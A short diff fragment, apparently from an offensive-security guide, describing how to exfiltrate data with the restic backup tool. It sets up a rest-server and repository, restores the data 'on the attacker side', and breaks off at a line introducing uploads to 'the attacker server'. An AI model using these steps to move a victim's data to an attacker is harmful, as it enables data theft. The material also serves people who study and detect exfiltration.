+
+  ```console
+  RPORT=12345
+  NAME=backup_name
+  ./rest-server --listen ":$RPORT"
+  restic init -r "rest:http://localhost:$RPORT/$NAME"
+  ```
+
+  To extract the data from the restic repository in the current directory on the attacker side:
+
+  ```console
+  restic restore -r "/tmp/restic/$NAME" latest --target .
+  ```

+  Upload data to the attacker server with the following commands.
